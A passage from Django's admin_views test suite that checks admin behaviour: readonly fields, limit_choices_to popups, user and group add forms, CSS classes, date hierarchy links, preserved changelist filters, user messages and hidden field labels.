self.client.post('/test_admin/admin/admin_views/post/add/', data) self.assertEqual(response.status_code, 302) self.assertEqual(Post.objects.count(), 2) p = Post.objects.order_by('-id')[0] self.assertEqual(p.posted, datetime.date.today()) def test_readonly_manytomany(self): "Regression test for #13004" response = self.client.get('/test_admin/admin/admin_views/pizza/add/') self.assertEqual(response.status_code, 200) def test_user_password_change_limited_queryset(self): su = User.objects.filter(is_superuser=True)[0] response = self.client.get('/test_admin/admin2/auth/user/%s/password/' % su.pk) self.assertEqual(response.status_code, 404) def test_change_form_renders_correct_null_choice_value(self): """ Regression test for #17911. """ choice = Choice.objects.create(choice=None) response = self.client.get('/test_admin/admin/admin_views/choice/%s/' % choice.pk) self.assertContains(response, '<p>No opinion</p>', html=True) self.assertNotContains(response, '<p>(None)</p>') def test_readonly_backwards_ref(self): """ Regression test for #16433 - backwards references for related objects broke if the related field is read-only due to the help_text attribute """ topping = Topping.objects.create(name='Salami') pizza = Pizza.objects.create(name='Americano') pizza.toppings.add(topping) response = self.client.get('/test_admin/admin/admin_views/topping/add/') self.assertEqual(response.status_code, 200) def test_readonly_field_overrides(self): """ Regression test for #22087 - ModelForm Meta overrides are ignored by AdminReadonlyField """ p = FieldOverridePost.objects.create(title="Test Post", content="Test Content") response = self.client.get('/test_admin/admin/admin_views/fieldoverridepost/%d/' % p.pk) self.assertEqual(response.status_code, 200) self.assertContains(response, '<p class="help">Overridden help text for the date</p>') self.assertContains(response, '<label for="id_public">Overridden public label:</label>', html=True) self.assertNotContains(response, "Some help text for the date (with unicode ŠĐĆŽćžšđ)") @override_settings(PASSWORD_HASHERS=('django.contrib.auth.hashers.SHA1PasswordHasher',), ROOT_URLCONF="admin_views.urls") class LimitChoicesToInAdminTest(TestCase): fixtures = ['admin-views-users.xml'] def setUp(self): self.client.login(username='super', password='secret') def tearDown(self): self.client.logout() def test_limit_choices_to_as_callable(self): """Test for ticket 2445 changes to admin.""" threepwood = Character.objects.create( username='threepwood', last_action=datetime.datetime.today() + datetime.timedelta(days=1), ) marley = Character.objects.create( username='marley', last_action=datetime.datetime.today() - datetime.timedelta(days=1), ) response = self.client.get('/test_admin/admin/admin_views/stumpjoke/add/') # The allowed option should appear twice; the limited option should not appear. self.assertContains(response, threepwood.username, count=2) self.assertNotContains(response, marley.username) @override_settings(PASSWORD_HASHERS=('django.contrib.auth.hashers.SHA1PasswordHasher',), ROOT_URLCONF="admin_views.urls") class RawIdFieldsTest(TestCase): fixtures = ['admin-views-users.xml'] def setUp(self): self.client.login(username='super', password='secret') def tearDown(self): self.client.logout() def test_limit_choices_to(self): """Regression test for 14880""" actor = Actor.objects.create(name="Palin", age=27) Inquisition.objects.create(expected=True, leader=actor, country="England") Inquisition.objects.create(expected=False, leader=actor, country="Spain") response = self.client.get('/test_admin/admin/admin_views/sketch/add/') # Find the link m = re.search(br'<a href="([^"]*)"[^>]* id="lookup_id_inquisition"', response.content) self.assertTrue(m) # Got a match popup_url = m.groups()[0].decode().replace("&amp;", "&") # Handle relative links popup_url = urljoin(response.request['PATH_INFO'], popup_url) # Get the popup and verify the correct objects show up in the resulting # page. This step also tests integers, strings and booleans in the # lookup query string; in model we define inquisition field to have a # limit_choices_to option that includes a filter on a string field # (inquisition__actor__name), a filter on an integer field # (inquisition__actor__age), and a filter on a boolean field # (inquisition__expected). response2 = self.client.get(popup_url) self.assertContains(response2, "Spain") self.assertNotContains(response2, "England") def test_limit_choices_to_isnull_false(self): """Regression test for 20182""" Actor.objects.create(name="Palin", age=27) Actor.objects.create(name="Kilbraken", age=50, title="Judge") response = self.client.get('/test_admin/admin/admin_views/sketch/add/') # Find the link m = re.search(br'<a href="([^"]*)"[^>]* id="lookup_id_defendant0"', response.content) self.assertTrue(m) # Got a match popup_url = m.groups()[0].decode().replace("&amp;", "&") # Handle relative links popup_url = urljoin(response.request['PATH_INFO'], popup_url) # Get the popup and verify the correct objects show up in the resulting # page. This step tests field__isnull=0 gets parsed correctly from the # lookup query string; in model we define defendant0 field to have a # limit_choices_to option that includes "actor__title__isnull=False". response2 = self.client.get(popup_url) self.assertContains(response2, "Kilbraken") self.assertNotContains(response2, "Palin") def test_limit_choices_to_isnull_true(self): """Regression test for 20182""" Actor.objects.create(name="Palin", age=27) Actor.objects.create(name="Kilbraken", age=50, title="Judge") response = self.client.get('/test_admin/admin/admin_views/sketch/add/') # Find the link m = re.search(br'<a href="([^"]*)"[^>]* id="lookup_id_defendant1"', response.content) self.assertTrue(m) # Got a match popup_url = m.groups()[0].decode().replace("&amp;", "&") # Handle relative links popup_url = urljoin(response.request['PATH_INFO'], popup_url) # Get the popup and verify the correct objects show up in the resulting # page. This step tests field__isnull=1 gets parsed correctly from the # lookup query string; in model we define defendant1 field to have a # limit_choices_to option that includes "actor__title__isnull=True". response2 = self.client.get(popup_url) self.assertNotContains(response2, "Kilbraken") self.assertContains(response2, "Palin") @override_settings(PASSWORD_HASHERS=('django.contrib.auth.hashers.SHA1PasswordHasher',), ROOT_URLCONF="admin_views.urls") class UserAdminTest(TestCase): """ Tests user CRUD functionality. """ fixtures = ['admin-views-users.xml'] def setUp(self): self.client.login(username='super', password='secret') def tearDown(self): self.client.logout() def test_save_button(self): user_count = User.objects.count() response = self.client.post('/test_admin/admin/auth/user/add/', { 'username': 'newuser', 'password1': 'newpassword', 'password2': 'newpassword', }) new_user = User.objects.order_by('-id')[0] self.assertRedirects(response, '/test_admin/admin/auth/user/%s/' % new_user.pk) self.assertEqual(User.objects.count(), user_count + 1) self.assertTrue(new_user.has_usable_password()) def test_save_continue_editing_button(self): user_count = User.objects.count() response = self.client.post('/test_admin/admin/auth/user/add/', { 'username': 'newuser', 'password1': 'newpassword', 'password2': 'newpassword', '_continue': '1', }) new_user = User.objects.order_by('-id')[0] self.assertRedirects(response, '/test_admin/admin/auth/user/%s/' % new_user.pk) self.assertEqual(User.objects.count(), user_count + 1) self.assertTrue(new_user.has_usable_password()) def test_password_mismatch(self): response = self.client.post('/test_admin/admin/auth/user/add/', { 'username': 'newuser', 'password1': 'newpassword', 'password2': 'mismatch', }) self.assertEqual(response.status_code, 200) adminform = response.context['adminform'] self.assertNotIn('password', adminform.form.errors) self.assertEqual(adminform.form.errors['password2'], ["The two password fields didn't match."]) def test_user_fk_popup(self): """Quick user addition in a FK popup shouldn't invoke view for further user customization""" response = self.client.get('/test_admin/admin/admin_views/album/add/') self.assertEqual(response.status_code, 200) self.assertContains(response, '/test_admin/admin/auth/user/add') self.assertContains(response, 'class="add-another" id="add_id_owner"') response = self.client.get('/test_admin/admin/auth/user/add/?_popup=1') self.assertEqual(response.status_code, 200) self.assertNotContains(response, 'name="_continue"') self.assertNotContains(response, 'name="_addanother"') data = { 'username': 'newuser', 'password1': 'newpassword', 'password2': 'newpassword', '_popup': '1', '_save': '1', } response = self.client.post('/test_admin/admin/auth/user/add/?_popup=1', data, follow=True) self.assertEqual(response.status_code, 200) self.assertContains(response, 'dismissAddAnotherPopup') def test_save_add_another_button(self): user_count = User.objects.count() response = self.client.post('/test_admin/admin/auth/user/add/', { 'username': 'newuser', 'password1': 'newpassword', 'password2': 'newpassword', '_addanother': '1', }) new_user = User.objects.order_by('-id')[0] self.assertRedirects(response, '/test_admin/admin/auth/user/add/') self.assertEqual(User.objects.count(), user_count + 1) self.assertTrue(new_user.has_usable_password()) def test_user_permission_performance(self): u = User.objects.all()[0] # Don't depend on a warm cache, see #17377. ContentType.objects.clear_cache() with self.assertNumQueries(10): response = self.client.get('/test_admin/admin/auth/user/%s/' % u.pk) self.assertEqual(response.status_code, 200) def test_form_url_present_in_context(self): u = User.objects.all()[0] response = self.client.get('/test_admin/admin3/auth/user/%s/password/' % u.pk) self.assertEqual(response.status_code, 200) self.assertEqual(response.context['form_url'], 'pony') @override_settings(PASSWORD_HASHERS=('django.contrib.auth.hashers.SHA1PasswordHasher',), ROOT_URLCONF="admin_views.urls") class GroupAdminTest(TestCase): """ Tests group CRUD functionality. """ fixtures = ['admin-views-users.xml'] def setUp(self): self.client.login(username='super', password='secret') def tearDown(self): self.client.logout() def test_save_button(self): group_count = Group.objects.count() response = self.client.post('/test_admin/admin/auth/group/add/', { 'name': 'newgroup', }) Group.objects.order_by('-id')[0] self.assertRedirects(response, '/test_admin/admin/auth/group/') self.assertEqual(Group.objects.count(), group_count + 1) def test_group_permission_performance(self): g = Group.objects.create(name="test_group") # Ensure no queries are skipped due to cached content type for Group. ContentType.objects.clear_cache() with self.assertNumQueries(8): response = self.client.get('/test_admin/admin/auth/group/%s/' % g.pk) self.assertEqual(response.status_code, 200) @override_settings(PASSWORD_HASHERS=('django.contrib.auth.hashers.SHA1PasswordHasher',), ROOT_URLCONF="admin_views.urls") class CSSTest(TestCase): fixtures = ['admin-views-users.xml'] def setUp(self): self.client.login(username='super', password='secret') def tearDown(self): self.client.logout() def test_field_prefix_css_classes(self): """ Ensure that fields have a CSS class name with a 'field-' prefix. Refs #16371. """ response = self.client.get('/test_admin/admin/admin_views/post/add/') # The main form self.assertContains(response, 'class="form-row field-title"') self.assertContains(response, 'class="form-row field-content"') self.assertContains(response, 'class="form-row field-public"') self.assertContains(response, 'class="form-row field-awesomeness_level"') self.assertContains(response, 'class="form-row field-coolness"') self.assertContains(response, 'class="form-row field-value"') self.assertContains(response, 'class="form-row"') # The lambda function # The tabular inline self.assertContains(response, '<td class="field-url">') self.assertContains(response, '<td class="field-posted">') def test_index_css_classes(self): """ Ensure that CSS class names are used for each app and model on the admin index pages. Refs #17050. """ # General index page response = self.client.get("/test_admin/admin/") self.assertContains(response, '<div class="app-admin_views module">') self.assertContains(response, '<tr class="model-actor">') self.assertContains(response, '<tr class="model-album">') # App index page response = self.client.get("/test_admin/admin/admin_views/") self.assertContains(response, '<div class="app-admin_views module">') self.assertContains(response, '<tr class="model-actor">') self.assertContains(response, '<tr class="model-album">') def test_app_model_in_form_body_class(self): """ Ensure app and model tag are correctly read by change_form template """ response = self.client.get('/test_admin/admin/admin_views/section/add/') self.assertEqual(response.status_code, 200) self.assertContains(response, '<body class=" app-admin_views model-section ') def test_app_model_in_list_body_class(self): """ Ensure app and model tag are correctly read by change_list template """ response = self.client.get('/test_admin/admin/admin_views/section/') self.assertEqual(response.status_code, 200) self.assertContains(response, '<body class=" app-admin_views model-section ') def test_app_model_in_delete_confirmation_body_class(self): """ Ensure app and model tag are correctly read by delete_confirmation template """ response = self.client.get( '/test_admin/admin/admin_views/section/1/delete/') self.assertEqual(response.status_code, 200) self.assertContains(response, '<body class=" app-admin_views model-section ') def test_app_model_in_app_index_body_class(self): """ Ensure app and model tag are correctly read by app_index template """ response = self.client.get('/test_admin/admin/admin_views/') self.assertEqual(response.status_code, 200) self.assertContains(response, '<body class=" dashboard app-admin_views') def test_app_model_in_delete_selected_confirmation_body_class(self): """ Ensure app and model tag are correctly read by delete_selected_confirmation template """ action_data = { ACTION_CHECKBOX_NAME: [1], 'action': 'delete_selected', 'index': 0, } response = self.client.post('/test_admin/admin/admin_views/section/', action_data) self.assertEqual(response.status_code, 200) self.assertContains(response, '<body class=" app-admin_views model-section ') def test_changelist_field_classes(self): """ Cells of the change list table should contain the field name in their class attribute Refs #11195. """ Podcast.objects.create(name="Django Dose", release_date=datetime.date.today()) response = self.client.get('/test_admin/admin/admin_views/podcast/') self.assertContains( response, '<th class="field-name">') self.assertContains( response, '<td class="field-release_date nowrap">') self.assertContains( response, '<td class="action-checkbox">') try: import docutils except ImportError: docutils = None @unittest.skipUnless(docutils, "no docutils installed.") @override_settings(PASSWORD_HASHERS=('django.contrib.auth.hashers.SHA1PasswordHasher',), ROOT_URLCONF="admin_views.urls") @modify_settings(INSTALLED_APPS={'append': ['django.contrib.admindocs', 'django.contrib.flatpages']}) class AdminDocsTest(TestCase): fixtures = ['admin-views-users.xml'] def setUp(self): self.client.login(username='super', password='secret') def tearDown(self): self.client.logout() def test_tags(self): response = self.client.get('/test_admin/admin/doc/tags/') # The builtin tag group exists self.assertContains(response, "<h2>Built-in tags</h2>", count=2, html=True) # A builtin tag exists in both the index and detail self.assertContains(response, '<h3 id="built_in-autoescape">autoescape</h3>', html=True) self.assertContains(response, '<li><a href="#built_in-autoescape">autoescape</a></li>', html=True) # An app tag exists in both the index and detail self.assertContains(response, '<h3 id="flatpages-get_flatpages">get_flatpages</h3>', html=True) self.assertContains(response, '<li><a href="#flatpages-get_flatpages">get_flatpages</a></li>', html=True) # The admin list tag group exists self.assertContains(response, "<h2>admin_list</h2>", count=2, html=True) # An admin list tag exists in both the index and detail self.assertContains(response, '<h3 id="admin_list-admin_actions">admin_actions</h3>', html=True) self.assertContains(response, '<li><a href="#admin_list-admin_actions">admin_actions</a></li>', html=True) def test_filters(self): response = self.client.get('/test_admin/admin/doc/filters/') # The builtin filter group exists self.assertContains(response, "<h2>Built-in filters</h2>", count=2, html=True) # A builtin filter exists in both the index and detail self.assertContains(response, '<h3 id="built_in-add">add</h3>', html=True) self.assertContains(response, '<li><a href="#built_in-add">add</a></li>', html=True) @override_settings(PASSWORD_HASHERS=('django.contrib.auth.hashers.SHA1PasswordHasher',), ROOT_URLCONF="admin_views.urls") class ValidXHTMLTests(TestCase): fixtures = ['admin-views-users.xml'] urlbit = 'admin' def setUp(self): self.client.login(username='super', password='secret') def tearDown(self): self.client.logout() @override_settings( TEMPLATE_CONTEXT_PROCESSORS=filter( lambda t: t != 'django.core.context_processors.i18n', global_settings.TEMPLATE_CONTEXT_PROCESSORS), USE_I18N=False, ) def test_lang_name_present(self): response = self.client.get('/test_admin/%s/admin_views/' % self.urlbit) self.assertNotContains(response, ' lang=""') self.assertNotContains(response, ' xml:lang=""') @override_settings(PASSWORD_HASHERS=('django.contrib.auth.hashers.SHA1PasswordHasher',), ROOT_URLCONF="admin_views.urls", USE_THOUSAND_SEPARATOR=True, USE_L10N=True) class DateHierarchyTests(TestCase): fixtures = ['admin-views-users.xml'] def setUp(self): self.client.login(username='super', password='secret') def tearDown(self): formats.reset_format_cache() def assert_non_localized_year(self, response, year): """Ensure that the year is not localized with USE_THOUSAND_SEPARATOR. Refs #15234. """ self.assertNotContains(response, formats.number_format(year)) def assert_contains_year_link(self, response, date): self.assertContains(response, '?release_date__year=%d"' % (date.year,)) def assert_contains_month_link(self, response, date): self.assertContains( response, '?release_date__month=%d&amp;release_date__year=%d"' % ( date.month, date.year)) def assert_contains_day_link(self, response, date): self.assertContains( response, '?release_date__day=%d&amp;' 'release_date__month=%d&amp;release_date__year=%d"' % ( date.day, date.month, date.year)) def test_empty(self): """ Ensure that no date hierarchy links display with empty changelist. """ response = self.client.get( reverse('admin:admin_views_podcast_changelist')) self.assertNotContains(response, 'release_date__year=') self.assertNotContains(response, 'release_date__month=') self.assertNotContains(response, 'release_date__day=') def test_single(self): """ Ensure that single day-level date hierarchy appears for single object. """ DATE = datetime.date(2000, 6, 30) Podcast.objects.create(release_date=DATE) url = reverse('admin:admin_views_podcast_changelist') response = self.client.get(url) self.assert_contains_day_link(response, DATE) self.assert_non_localized_year(response, 2000) def test_within_month(self): """ Ensure that day-level links appear for changelist within single month. """ DATES = (datetime.date(2000, 6, 30), datetime.date(2000, 6, 15), datetime.date(2000, 6, 3)) for date in DATES: Podcast.objects.create(release_date=date) url = reverse('admin:admin_views_podcast_changelist') response = self.client.get(url) for date in DATES: self.assert_contains_day_link(response, date) self.assert_non_localized_year(response, 2000) def test_within_year(self): """ Ensure that month-level links appear for changelist within single year. """ DATES = (datetime.date(2000, 1, 30), datetime.date(2000, 3, 15), datetime.date(2000, 5, 3)) for date in DATES: Podcast.objects.create(release_date=date) url = reverse('admin:admin_views_podcast_changelist') response = self.client.get(url) # no day-level links self.assertNotContains(response, 'release_date__day=') for date in DATES: self.assert_contains_month_link(response, date) self.assert_non_localized_year(response, 2000) def test_multiple_years(self): """ Ensure that year-level links appear for year-spanning changelist. """ DATES = (datetime.date(2001, 1, 30), datetime.date(2003, 3, 15), datetime.date(2005, 5, 3)) for date in DATES: Podcast.objects.create(release_date=date) response = self.client.get( reverse('admin:admin_views_podcast_changelist')) # no day/month-level links self.assertNotContains(response, 'release_date__day=') self.assertNotContains(response, 'release_date__month=') for date in DATES: self.assert_contains_year_link(response, date) # and make sure GET parameters still behave correctly for date in DATES: url = '%s?release_date__year=%d' % ( reverse('admin:admin_views_podcast_changelist'), date.year) response = self.client.get(url) self.assert_contains_month_link(response, date) self.assert_non_localized_year(response, 2000) self.assert_non_localized_year(response, 2003) self.assert_non_localized_year(response, 2005) url = '%s?release_date__year=%d&release_date__month=%d' % ( reverse('admin:admin_views_podcast_changelist'), date.year, date.month) response = self.client.get(url) self.assert_contains_day_link(response, date) self.assert_non_localized_year(response, 2000) self.assert_non_localized_year(response, 2003) self.assert_non_localized_year(response, 2005) @override_settings(PASSWORD_HASHERS=('django.contrib.auth.hashers.SHA1PasswordHasher',), ROOT_URLCONF="admin_views.urls") class AdminCustomSaveRelatedTests(TestCase): """ Ensure that one can easily customize the way related objects are saved. Refs #16115. """ fixtures = ['admin-views-users.xml'] def setUp(self): self.client.login(username='super', password='secret') def test_should_be_able_to_edit_related_objects_on_add_view(self): post = { 'child_set-TOTAL_FORMS': '3', 'child_set-INITIAL_FORMS': '0', 'name': 'Josh Stone', 'child_set-0-name': 'Paul', 'child_set-1-name': 'Catherine', } self.client.post('/test_admin/admin/admin_views/parent/add/', post) self.assertEqual(1, Parent.objects.count()) self.assertEqual(2, Child.objects.count()) children_names = list(Child.objects.order_by('name').values_list('name', flat=True)) self.assertEqual('Josh Stone', Parent.objects.latest('id').name) self.assertEqual(['Catherine Stone', 'Paul Stone'], children_names) def test_should_be_able_to_edit_related_objects_on_change_view(self): parent = Parent.objects.create(name='Josh Stone') paul = Child.objects.create(parent=parent, name='Paul') catherine = Child.objects.create(parent=parent, name='Catherine') post = { 'child_set-TOTAL_FORMS': '5', 'child_set-INITIAL_FORMS': '2', 'name': 'Josh Stone', 'child_set-0-name': 'Paul', 'child_set-0-id': paul.id, 'child_set-1-name': 'Catherine', 'child_set-1-id': catherine.id, } self.client.post('/test_admin/admin/admin_views/parent/%s/' % parent.id, post) children_names = list(Child.objects.order_by('name').values_list('name', flat=True)) self.assertEqual('Josh Stone', Parent.objects.latest('id').name) self.assertEqual(['Catherine Stone', 'Paul Stone'], children_names) def test_should_be_able_to_edit_related_objects_on_changelist_view(self): parent = Parent.objects.create(name='Josh Rock') Child.objects.create(parent=parent, name='Paul') Child.objects.create(parent=parent, name='Catherine') post = { 'form-TOTAL_FORMS': '1', 'form-INITIAL_FORMS': '1', 'form-MAX_NUM_FORMS': '0', 'form-0-id': parent.id, 'form-0-name': 'Josh Stone', '_save': 'Save' } self.client.post('/test_admin/admin/admin_views/parent/', post) children_names = list(Child.objects.order_by('name').values_list('name', flat=True)) self.assertEqual('Josh Stone', Parent.objects.latest('id').name) self.assertEqual(['Catherine Stone', 'Paul Stone'], children_names) @override_settings(PASSWORD_HASHERS=('django.contrib.auth.hashers.SHA1PasswordHasher',), ROOT_URLCONF="admin_views.urls") class AdminViewLogoutTest(TestCase): fixtures = ['admin-views-users.xml'] def setUp(self): self.client.login(username='super', password='secret') def tearDown(self): self.client.logout() def test_client_logout_url_can_be_used_to_login(self): response = self.client.get('/test_admin/admin/logout/') self.assertEqual(response.status_code, 200) self.assertTemplateUsed(response, 'registration/logged_out.html') self.assertEqual(response.request['PATH_INFO'], '/test_admin/admin/logout/') # we are now logged out response = self.client.get('/test_admin/admin/logout/') self.assertEqual(response.status_code, 302) # we should be redirected to the login page. # follow the redirect and test results. response = self.client.get('/test_admin/admin/logout/', follow=True) self.assertEqual(response.status_code, 200) self.assertTemplateUsed(response, 'admin/login.html') self.assertEqual(response.request['PATH_INFO'], '/test_admin/admin/login/') self.assertContains(response, '<input type="hidden" name="next" value="/test_admin/admin/" />') @override_settings(PASSWORD_HASHERS=('django.contrib.auth.hashers.SHA1PasswordHasher',), ROOT_URLCONF="admin_views.urls") class AdminUserMessageTest(TestCase): fixtures = ['admin-views-users.xml'] def setUp(self): self.client.login(username='super', password='secret') def tearDown(self): self.client.logout() def send_message(self, level): """ Helper that sends a post to the dummy test methods and asserts that a message with the level has appeared in the response. """ action_data = { ACTION_CHECKBOX_NAME: [1], 'action': 'message_%s' % level, 'index': 0, } response = self.client.post('/test_admin/admin/admin_views/usermessenger/', action_data, follow=True) self.assertContains(response, '<li class="%s">Test %s</li>' % (level, level), html=True) @override_settings(MESSAGE_LEVEL=10) # Set to DEBUG for this request def test_message_debug(self): self.send_message('debug') def test_message_info(self): self.send_message('info') def test_message_success(self): self.send_message('success') def test_message_warning(self): self.send_message('warning') def test_message_error(self): self.send_message('error') def test_message_extra_tags(self): action_data = { ACTION_CHECKBOX_NAME: [1], 'action': 'message_extra_tags', 'index': 0, } response = self.client.post('/test_admin/admin/admin_views/usermessenger/', action_data, follow=True) self.assertContains(response, '<li class="extra_tag info">Test tags</li>', html=True) @override_settings(PASSWORD_HASHERS=('django.contrib.auth.hashers.SHA1PasswordHasher',), ROOT_URLCONF="admin_views.urls") class AdminKeepChangeListFiltersTests(TestCase): fixtures = ['admin-views-users.xml'] admin_site = site def setUp(self): self.client.login(username='super', password='secret') def tearDown(self): self.client.logout() def assertURLEqual(self, url1, url2): """ Assert that two URLs are equal despite the ordering of their querystring. Refs #22360. """ parsed_url1 = urlparse(url1) path1 = parsed_url1.path parsed_qs1 = dict(parse_qsl(parsed_url1.query)) parsed_url2 = urlparse(url2) path2 = parsed_url2.path parsed_qs2 = dict(parse_qsl(parsed_url2.query)) for parsed_qs in [parsed_qs1, parsed_qs2]: if '_changelist_filters' in parsed_qs: changelist_filters = parsed_qs['_changelist_filters'] parsed_filters = dict(parse_qsl(changelist_filters)) parsed_qs['_changelist_filters'] = parsed_filters self.assertEqual(path1, path2) self.assertEqual(parsed_qs1, parsed_qs2) def test_assert_url_equal(self): # Test equality. self.assertURLEqual( 'http://testserver/test_admin/admin/auth/user/105/?_changelist_filters=is_staff__exact%3D0%26is_superuser__exact%3D0', 'http://testserver/test_admin/admin/auth/user/105/?_changelist_filters=is_staff__exact%3D0%26is_superuser__exact%3D0' ) # Test inequality. with self.assertRaises(AssertionError): self.assertURLEqual( 'http://testserver/test_admin/admin/auth/user/105/?_changelist_filters=is_staff__exact%3D0%26is_superuser__exact%3D0', 'http://testserver/test_admin/admin/auth/user/105/?_changelist_filters=is_staff__exact%3D1%26is_superuser__exact%3D1' ) # Ignore scheme and host. self.assertURLEqual( 'http://testserver/test_admin/admin/auth/user/105/?_changelist_filters=is_staff__exact%3D0%26is_superuser__exact%3D0', '/test_admin/admin/auth/user/105/?_changelist_filters=is_staff__exact%3D0%26is_superuser__exact%3D0' ) # Ignore ordering of querystring. self.assertURLEqual( '/test_admin/admin/auth/user/?is_staff__exact=0&is_superuser__exact=0', '/test_admin/admin/auth/user/?is_superuser__exact=0&is_staff__exact=0' ) # Ignore ordering of _changelist_filters. self.assertURLEqual( '/test_admin/admin/auth/user/105/?_changelist_filters=is_staff__exact%3D0%26is_superuser__exact%3D0', '/test_admin/admin/auth/user/105/?_changelist_filters=is_superuser__exact%3D0%26is_staff__exact%3D0' ) def get_changelist_filters(self): return { 'is_superuser__exact': 0, 'is_staff__exact': 0, } def get_changelist_filters_querystring(self): return urlencode(self.get_changelist_filters()) def get_preserved_filters_querystring(self): return urlencode({ '_changelist_filters': self.get_changelist_filters_querystring() }) def get_sample_user_id(self): return 104 def get_changelist_url(self): return '%s?%s' % ( reverse('admin:auth_user_changelist', current_app=self.admin_site.name), self.get_changelist_filters_querystring(), ) def get_add_url(self): return '%s?%s' % ( reverse('admin:auth_user_add', current_app=self.admin_site.name), self.get_preserved_filters_querystring(), ) def get_change_url(self, user_id=None): if user_id is None: user_id = self.get_sample_user_id() return "%s?%s" % ( reverse('admin:auth_user_change', args=(user_id,), current_app=self.admin_site.name), self.get_preserved_filters_querystring(), ) def get_history_url(self, user_id=None): if user_id is None: user_id = self.get_sample_user_id() return "%s?%s" % ( reverse('admin:auth_user_history', args=(user_id,), current_app=self.admin_site.name), self.get_preserved_filters_querystring(), ) def get_delete_url(self, user_id=None): if user_id is None: user_id = self.get_sample_user_id() return "%s?%s" % ( reverse('admin:auth_user_delete', args=(user_id,), current_app=self.admin_site.name), self.get_preserved_filters_querystring(), ) def test_changelist_view(self): response = self.client.get(self.get_changelist_url()) self.assertEqual(response.status_code, 200) # Check the `change_view` link has the correct querystring. detail_link = re.search( '<a href="(.*?)">joepublic</a>', force_text(response.content) ) self.assertURLEqual(detail_link.group(1), self.get_change_url()) def test_change_view(self): # Get the `change_view`. response = self.client.get(self.get_change_url()) self.assertEqual(response.status_code, 200) # Check the form action. form_action = re.search( '<form enctype="multipart/form-data" action="(.*?)" method="post" id="user_form".*?>', force_text(response.content) ) self.assertURLEqual(form_action.group(1), '?%s' % self.get_preserved_filters_querystring()) # Check the history link. history_link = re.search( '<a href="(.*?)" class="historylink">History</a>', force_text(response.content) ) self.assertURLEqual(history_link.group(1), self.get_history_url()) # Check the delete link. delete_link = re.search( '<a href="(.*?)" class="deletelink">Delete</a>', force_text(response.content) ) self.assertURLEqual(delete_link.group(1), self.get_delete_url()) # Test redirect on "Save". post_data = { 'username': 'joepublic', 'last_login_0': '2007-05-30', 'last_login_1': '13:20:10', 'date_joined_0': '2007-05-30', 'date_joined_1': '13:20:10', } post_data['_save'] = 1 response = self.client.post(self.get_change_url(), data=post_data) self.assertEqual(response.status_code, 302) self.assertURLEqual( response.url, self.get_changelist_url() ) post_data.pop('_save') # Test redirect on "Save and continue". post_data['_continue'] = 1 response = self.client.post(self.get_change_url(), data=post_data) self.assertEqual(response.status_code, 302) self.assertURLEqual( response.url, self.get_change_url() ) post_data.pop('_continue') # Test redirect on "Save and add new". post_data['_addanother'] = 1 response = self.client.post(self.get_change_url(), data=post_data) self.assertEqual(response.status_code, 302) self.assertURLEqual( response.url, self.get_add_url() ) post_data.pop('_addanother') def test_add_view(self): # Get the `add_view`. response = self.client.get(self.get_add_url()) self.assertEqual(response.status_code, 200) # Check the form action. form_action = re.search( '<form enctype="multipart/form-data" action="(.*?)" method="post" id="user_form".*?>', force_text(response.content) ) self.assertURLEqual(form_action.group(1), '?%s' % self.get_preserved_filters_querystring()) post_data = { 'username': 'dummy', 'password1': 'test', 'password2': 'test', } # Test redirect on "Save". post_data['_save'] = 1 response = self.client.post(self.get_add_url(), data=post_data) self.assertEqual(response.status_code, 302) self.assertURLEqual( response.url, self.get_change_url(User.objects.latest('pk').pk) ) post_data.pop('_save') # Test redirect on "Save and continue". post_data['username'] = 'dummy2' post_data['_continue'] = 1 response = self.client.post(self.get_add_url(), data=post_data) self.assertEqual(response.status_code, 302) self.assertURLEqual( response.url, self.get_change_url(User.objects.latest('pk').pk) ) post_data.pop('_continue') # Test redirect on "Save and add new". post_data['username'] = 'dummy3' post_data['_addanother'] = 1 response = self.client.post(self.get_add_url(), data=post_data) self.assertEqual(response.status_code, 302) self.assertURLEqual( response.url, self.get_add_url() ) post_data.pop('_addanother') def test_delete_view(self): # Test redirect on "Delete". response = self.client.post(self.get_delete_url(), {'post': 'yes'}) self.assertEqual(response.status_code, 302) self.assertURLEqual( response.url, self.get_changelist_url() ) def test_url_prefix(self): context = { 'preserved_filters': self.get_preserved_filters_querystring(), 'opts': User._meta, } url = reverse('admin:auth_user_changelist', current_app=self.admin_site.name) self.assertURLEqual( self.get_changelist_url(), add_preserved_filters(context, url), ) original_prefix = get_script_prefix() try: set_script_prefix('/prefix/') url = reverse('admin:auth_user_changelist', current_app=self.admin_site.name) self.assertURLEqual( self.get_changelist_url(), add_preserved_filters(context, url), ) finally: set_script_prefix(original_prefix) class NamespacedAdminKeepChangeListFiltersTests(AdminKeepChangeListFiltersTests): admin_site = site2 @override_settings(PASSWORD_HASHERS=('django.contrib.auth.hashers.SHA1PasswordHasher',), ROOT_URLCONF="admin_views.urls") class TestLabelVisibility(TestCase): """ #11277 -Labels of hidden fields in admin were not hidden. """ fixtures = ['admin-views-users.xml'] def setUp(self): self.client.login(username='super', password='secret') def test_all_fields_visible(self): response = self.client.get('/test_admin/admin/admin_views/emptymodelvisible/add/') self.assert_fieldline_visible(response) self.assert_field_visible(response, 'first') self.assert_field_visible(response, 'second') def test_all_fields_hidden(self): response = self.client.get('/test_admin/admin/admin_views/emptymodelhidden/add/') self.assert_fieldline_hidden(response) self.assert_field_hidden(response, 'first') self.assert_field_hidden(response, 'second') def test_mixin(self): response = self.client.get('/test_admin/admin/admin_views/emptymodelmixin/add/') self.assert_fieldline_visible(response) self.assert_field_hidden(response, 'first') self.assert_field_visible(response, 'second') def assert_field_visible(self, response, field_name): self.assertContains(response, '<div class="field-box field-%s">' % field_name) def assert_field_hidden(self, response, field_name): self.assertContains(response, '<div class="field-box field-%s hidden">' % field_name) def assert_fieldline_visible(self, response): self.assertContains(response, '<div class="form-row field-first field-second">') def assert_fieldline_hidden(self, response): self.assertContains(response, '<div class="form-row hidden') @override_settings(PASSWORD_HASHERS=('django.contrib.auth.hashers.SHA1PasswordHasher',), ROOT_URLCONF="admin_views.urls") class AdminViewOnSiteTests(TestCase): fixtures = ['admin-views-users.xml', 'admin-views-restaurants.xml'] def setUp(self): self.client.login(username='super', password='secret') def tearDown(self): self.client.logout() def test_add_view_form_and_formsets_run_validation(self): """ Issue #20522 Verifying that if the parent form fails validation, the inlines also run validation even if validation is contingent on parent form data """ # The form validation should fail because 'some_required_info' is # not included on the parent form, and the family_name of the parent # does not match that of the child post_data = {"family_name": "Test1", "dependentchild_set-TOTAL_FORMS": "1", "dependentchild_set-INITIAL_FORMS": "0", "dependentchild_set-MAX_NUM_FORMS": "1", "dependentchild_set-0-id": "", "dependentchild_set-0-parent": "", 